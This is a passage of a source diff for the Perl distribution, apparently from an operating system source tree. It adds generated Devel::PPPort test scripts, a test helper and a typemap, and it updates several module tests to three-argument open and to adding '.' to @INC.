+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (1) {
+ load();
+ plan(tests => 1);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::newSVpvn_share(), 6);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/snprintf.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/snprintf.t
new file mode 100644
index 00000000000..0b90004d9ec
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/snprintf.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/snprintf instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (2) {
+ load();
+ plan(tests => 2);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my($l, $s) = Devel::PPPort::my_snprintf();
+ok($l, 8);
+ok($s, "foobar42");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/sprintf.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/sprintf.t
new file mode 100644
index 00000000000..8b0d51fc917
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/sprintf.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/sprintf instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (2) {
+ load();
+ plan(tests => 2);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my($l, $s) = Devel::PPPort::my_sprintf();
+ok($l, 8);
+ok($s, "foobar42");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/strlfuncs.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/strlfuncs.t
new file mode 100644
index 00000000000..c8175472de1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/strlfuncs.t
@@ -0,0 +1,65 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/strlfuncs instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (13) {
+ load();
+ plan(tests => 13);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @e = (3, 'foo',
+ 6, 'foobar',
+ 9, 'foobarb',
+ 10, '1234567',
+ 4, '1234',
+ 16, '1234567',
+ );
+my @r = Devel::PPPort::my_strlfunc();
+
+ok(@e == @r);
+
+for (0 .. $#e) {
+ ok($r[$_], $e[$_]);
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/sv_xpvf.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/sv_xpvf.t
new file mode 100644
index 00000000000..15074317df0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/sv_xpvf.t
@@ -0,0 +1,78 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/sv_xpvf instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (9) {
+ load();
+ plan(tests => 9);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo-';
+$h{bar} = '';
+
+ok(&Devel::PPPort::vnewSVpvf(), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+ok(&Devel::PPPort::sv_vcatpvf('1-2-3-'), $] >= 5.004 ? '1-2-3-Perl-42' : '1-2-3-%s-%d');
+ok(&Devel::PPPort::sv_vsetpvf('1-2-3-'), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+
+&Devel::PPPort::sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42' : 'foo-');
+
+&Devel::PPPort::Perl_sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43' : 'foo-');
+
+&Devel::PPPort::sv_catpvf_mg_nocontext($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43-Perl-44' : 'foo-');
+
+&Devel::PPPort::sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'mhx-42' : '');
+
+&Devel::PPPort::Perl_sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'foo-43' : '');
+
+&Devel::PPPort::sv_setpvf_mg_nocontext($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'bar-44' : '');
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/testutil.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/t/testutil.pl
new file mode 100644
index 00000000000..4fc7d667a6b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/testutil.pl
@@ -0,0 +1,48 @@
+{
+ my $__ntest;
+ my $__total;
+
+ sub plan {
+ @_ == 2 or die "usage: plan(tests => count)";
+ my $what = shift;
+ $what eq 'tests' or die "cannot plan anything but tests";
+ $__total = shift;
+ defined $__total && $__total > 0 or die "need a positive number of tests";
+ print "1..$__total\n";
+ }
+
+ sub skip {
+ my $reason = shift;
+ ++$__ntest;
+ print "ok $__ntest # skip: $reason\n"
+ }
+
+ sub ok ($;$$) {
+ local($\,$,);
+ my $ok = 0;
+ my $result = shift;
+ if (@_ == 0) {
+ $ok = $result;
+ } else {
+ $expected = shift;
+ if (!defined $expected) {
+ $ok = !defined $result;
+ } elsif (!defined $result) {
+ $ok = 0;
+ } elsif (ref($expected) eq 'Regexp') {
+ die "using regular expression objects is not backwards compatible";
+ } else {
+ $ok = $result eq $expected;
+ }
+ }
+ ++$__ntest;
+ if ($ok) {
+ print "ok $__ntest\n"
+ }
+ else {
+ print "not ok $__ntest\n"
+ }
+ }
+}
+
+1;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/threads.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/threads.t
new file mode 100644
index 00000000000..a1c8caa5c87
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/threads.t
@@ -0,0 +1,54 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/threads instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (2) {
+ load();
+ plan(tests => 2);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::no_THX_arg("42"), 43);
+eval { &Devel::PPPort::with_THX_arg("yes\n"); };
+ok($@ =~ /^yes/);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/uv.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/uv.t
new file mode 100644
index 00000000000..bc123c6bbf7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/uv.t
@@ -0,0 +1,61 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/uv instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (10) {
+ load();
+ plan(tests => 10);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::sv_setuv(42), 42);
+ok(&Devel::PPPort::newSVuv(123), 123);
+ok(&Devel::PPPort::sv_2uv("4711"), 4711);
+ok(&Devel::PPPort::sv_2uv("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx(1735928559), 1735928559);
+ok(&Devel::PPPort::SvUVx(0xdeadbeef), 0xdeadbeef);
+ok(&Devel::PPPort::XSRETURN_UV(), 42);
+ok(&Devel::PPPort::PUSHu(), 42);
+ok(&Devel::PPPort::XPUSHu(), 43);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/variables.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/variables.t
new file mode 100644
index 00000000000..ef1ac8b20d3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/variables.t
@@ -0,0 +1,107 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/variables instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (52) {
+ load();
+ plan(tests => 52);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::compare_PL_signals());
+
+ok(!defined(&Devel::PPPort::PL_sv_undef()));
+ok(&Devel::PPPort::PL_sv_yes());
+ok(!&Devel::PPPort::PL_sv_no());
+ok(&Devel::PPPort::PL_na("abcd"), 4);
+ok(&Devel::PPPort::PL_Sv(), "mhx");
+ok(defined &Devel::PPPort::PL_tokenbuf());
+ok($] >= 5.009005 || &Devel::PPPort::PL_parser());
+ok(&Devel::PPPort::PL_hexdigit() =~ /^[0-9a-zA-Z]+$/);
+ok(defined &Devel::PPPort::PL_hints());
+ok(&Devel::PPPort::PL_ppaddr("mhx"), "MHX");
+
+for (&Devel::PPPort::other_variables()) {
+ ok($_ != 0);
+}
+
+{
+ my @w;
+ my $fail = 0;
+ {
+ local $SIG{'__WARN__'} = sub { push @w, @_ };
+ ok(&Devel::PPPort::dummy_parser_warning());
+ }
+ if ($] >= 5.009005) {
+ ok(@w >= 0);
+ for (@w) {
+ print "# $_";
+ unless (/^warning: dummy PL_bufptr used in.*module3.*:\d+/i) {
+ warn $_;
+ $fail++;
+ }
+ }
+ }
+ else {
+ ok(@w == 0);
+ }
+ ok($fail, 0);
+}
+
+ok(&Devel::PPPort::no_dummy_parser_vars(1) >= ($] < 5.009005 ? 1 : 0));
+
+eval { &Devel::PPPort::no_dummy_parser_vars(0) };
+
+if ($] < 5.009005) {
+ ok($@, '');
+}
+else {
+ if ($@) {
+ print "# $@";
+ ok($@ =~ /^panic: PL_parser == NULL in.*module2.*:\d+/i);
+ }
+ else {
+ ok(1);
+ }
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/warn.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/warn.t
new file mode 100644
index 00000000000..d538055a65a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/warn.t
@@ -0,0 +1,78 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/warn instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (5) {
+ load();
+ plan(tests => 5);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+$^W = 0;
+
+my $warning;
+
+$SIG{'__WARN__'} = sub { $warning = $_[0] };
+
+$warning = '';
+Devel::PPPort::warner();
+ok($] >= 5.004 ? $warning =~ /^warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::Perl_warner_nocontext();
+ok($] >= 5.004 ? $warning =~ /^Perl_warner_nocontext bar:42/ : $warning eq '');
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($warning, '');
+
+$^W = 1;
+
+$warning = '';
+Devel::PPPort::ckWARN();
+ok($] >= 5.004 ? $warning =~ /^ckWARN bar:42/ : $warning eq '');
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/typemap b/gnu/usr.bin/perl/dist/Devel-PPPort/typemap
new file mode 100644
index 00000000000..68863a32912
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/typemap
@@ -0,0 +1,36 @@
+################################################################################
+#
+# typemap -- XS type mappings not present in early perls
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+UV T_UV
+NV T_NV
+HV * T_HVREF
+STRLEN T_UV
+
+INPUT
+T_UV
+ $var = ($type)SvUV($arg)
+T_NV
+ $var = ($type)SvNV($arg)
+T_HVREF
+ if (SvROK($arg) && SvTYPE(SvRV($arg))==SVt_PVHV)
+ $var = (HV*)SvRV($arg);
+ else
+ Perl_croak(aTHX_ \"$var is not a hash reference\")
+
+OUTPUT
+T_UV
+ sv_setuv($arg, (UV)$var);
+T_NV
+ sv_setnv($arg, (NV)$var);
diff --git a/gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm b/gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm
index e47cd3a3326..781dd9f3e97 100644
--- a/gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm
+++ b/gnu/usr.bin/perl/dist/Devel-SelfStubber/lib/Devel/SelfStubber.pm
@@ -4,7 +4,7 @@ require SelfLoader;
@ISA = qw(SelfLoader);
@EXPORT = 'AUTOLOAD';
$JUST_STUBS = 1;
-$VERSION = 1.05;
+$VERSION = 1.06;
sub Version {$VERSION}
# Use as
@@ -39,7 +39,7 @@ sub stub {
my (@BEFORE_DATA, @AFTER_DATA, @AFTER_END);
@DATA = @STUBS = ();
- open($fh,$mod_file) || die "Unable to open $mod_file";
+ open($fh,'<',$mod_file) || die "Unable to open $mod_file";
local $/ = "\n";
while(defined ($line = <$fh>) and $line !~ m/^__DATA__/) {
push(@BEFORE_DATA,$line);
diff --git a/gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t b/gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t
index 4d690904747..48e27cd073e 100644
--- a/gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t
+++ b/gnu/usr.bin/perl/dist/Devel-SelfStubber/t/Devel-SelfStubber.t
@@ -30,7 +30,7 @@ while (<DATA>) {
my $f = $1;
my $file = catfile(curdir(),$inlib,$f);
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
} else {
print FH;
}
@@ -40,14 +40,14 @@ close FH;
{
my $file = "A-$$";
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
select FH;
Devel::SelfStubber->stub('xChild', $inlib);
select STDOUT;
print "ok 1\n";
close FH or die $!;
- open FH, $file or die $!;
+ open FH, '<', $file or die $!;
my @A = <FH>;
if (@A == 1 && $A[0] =~ /^\s*sub\s+xChild::foo\s*;\s*$/) {
@@ -61,14 +61,14 @@ close FH;
{
my $file = "B-$$";
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
select FH;
Devel::SelfStubber->stub('Proto', $inlib);
select STDOUT;
print "ok 3\n"; # Checking that we did not die horribly.
close FH or die $!;
- open FH, $file or die $!;
+ open FH, '<', $file or die $!;
my @B = <FH>;
if (@B == 1 && $B[0] =~ /^\s*sub\s+Proto::bar\s*\(\$\$\);\s*$/) {
@@ -84,14 +84,14 @@ close FH;
{
my $file = "C-$$";
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
select FH;
Devel::SelfStubber->stub('Attribs', $inlib);
select STDOUT;
print "ok 5\n"; # Checking that we did not die horribly.
close FH or die $!;
- open FH, $file or die $!;
+ open FH, '<', $file or die $!;
my @C = <FH>;
if (@C == 2 && $C[0] =~ /^\s*sub\s+Attribs::baz\s+:\s*locked\s*;\s*$/
@@ -137,7 +137,7 @@ sub faildump {
foreach my $module (@module) {
my $file = "$module--$$";
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
print FH "use $module;
print ${module}->foo;
";
@@ -168,11 +168,11 @@ undef $/;
foreach my $module (@module, 'Data', 'End') {
my $file = catfile(curdir(),$lib,"$module.pm");
my $fileo = catfile(curdir(),$inlib,"$module.pm");
- open FH, $fileo or die "Can't open $fileo: $!";
+ open FH, '<', $fileo or die "Can't open $fileo: $!";
my $contents = <FH>;
close FH or die $!;
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
select FH;
if ($contents =~ /__DATA__/) {
# This will die for any module with no __DATA__
@@ -208,7 +208,7 @@ system "$runperl -w \"-I$lib\" \"-MData\" -e \"Data::ok\"";
system "$runperl -w \"-I$lib\" \"-MEnd\" -e \"End::lime\"";
# But check that the documentation after the __END__ survived.
-open FH, catfile(curdir(),$lib,"End.pm") or die $!;
+open FH, '<', catfile(curdir(),$lib,"End.pm") or die $!;
$_ = <FH>;
close FH or die $!;
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t b/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t
index b99382f2ba7..d6b75e9d0bc 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t
@@ -33,7 +33,7 @@ ok $b->have_compiler, "have_compiler";
$source_file = File::Spec->catfile('t', 'basict.c');
{
local *FH;
- open FH, "> $source_file" or die "Can't create $source_file: $!";
+ open FH, '>', $source_file or die "Can't create $source_file: $!";
print FH "int boot_basict(void) { return 1; }\n";
close FH;
}
@@ -75,8 +75,7 @@ SKIP: {
# include_dirs should be settable as string or list
{
package Sub;
- use vars '@ISA';
- @ISA = ('ExtUtils::CBuilder');
+ our @ISA = ('ExtUtils::CBuilder');
my $saw = 0;
sub do_system {
if ($^O eq "MSWin32") {
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t b/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t
index 78290d349dd..0c05ae29bbf 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t
@@ -32,7 +32,7 @@ ok $b->have_cplusplus, "have_cplusplus";
$source_file = File::Spec->catfile('t', 'cplust.cc');
{
- open my $FH, "> $source_file" or die "Can't create $source_file: $!";
+ open my $FH, '>', $source_file or die "Can't create $source_file: $!";
print $FH "class Bogus { public: int boot_cplust() { return 1; } };\n";
close $FH;
}
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod
index 6bec01482cf..80bf13fd071 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod
@@ -20,7 +20,7 @@ ExtUtils::ParseXS - converts Perl XS code into C code
optimize => 1,
prototypes => 1,
);
-
+
# Legacy non-OO interface using a singleton:
use ExtUtils::ParseXS qw(process_file);
process_file( filename => 'foo.xs' );
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t
index 9b2d2040404..04ba981919c 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t
@@ -11,6 +11,7 @@ my ($source_file, $obj_file, $lib_file);
require_ok( 'ExtUtils::ParseXS' );
chdir('t') if -d 't';
+push @INC, '.';
use Carp; $SIG{__WARN__} = \&Carp::cluck;
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t
index e4a68f2fb0d..4aaa3ab081c 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t
@@ -17,6 +17,7 @@ require_ok( 'ExtUtils::ParseXS' );
ExtUtils::ParseXS->import('process_file');
chdir 't' if -d 't';
+push @INC, '.';
use Carp; $SIG{__WARN__} = \&Carp::cluck;
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t
index bfe10ac476d..00dfe0b2d83 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t
@@ -18,6 +18,7 @@ my ($source_file, $obj_file, $lib_file, $module);
require_ok( 'ExtUtils::ParseXS' );
chdir('t') if -d 't';
+push @INC, '.';
use Carp; $SIG{__WARN__} = \&Carp::cluck;
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs
index 89df22fab9d..452d3db24ed 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs
@@ -76,6 +76,7 @@ bool
T_BOOL_2(in)
bool in
CODE:
+ PERL_UNUSED_VAR(RETVAL);
OUTPUT: in
void
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs
index 9a8d93d42a2..ed3c8f845ba 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs
@@ -35,6 +35,8 @@ xsusage_two()
ALIAS:
two_x = 1
FOO::two = 2
+ INIT:
+ PERL_UNUSED_VAR(ix);
int
interface_v_i()
diff --git a/gnu/usr.bin/perl/dist/Filter-Simple/t/no.t b/gnu/usr.bin/perl/dist/Filter-Simple/t/no.t
new file mode 100644
index 00000000000..8980eaea9c9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Filter-Simple/t/no.t
@@ -0,0 +1,13 @@
+BEGIN {
+ unshift @INC, 't/lib/';
+}
+
+print "1..2\n";
+
+use Filter::Simple::FilterTest qr/ok/ => "not ok", pass => "fail";
+no Filter::Simple::FilterTest;
+
+sub pass { print "ok ", $_[0], "\n" }
+
+print "ok 1\n";
+("pa"."ss")->(2);
diff --git a/gnu/usr.bin/perl/dist/IO/ChangeLog b/gnu/usr.bin/perl/dist/IO/ChangeLog
index dd5e3ff3828..4101627c23e 100644
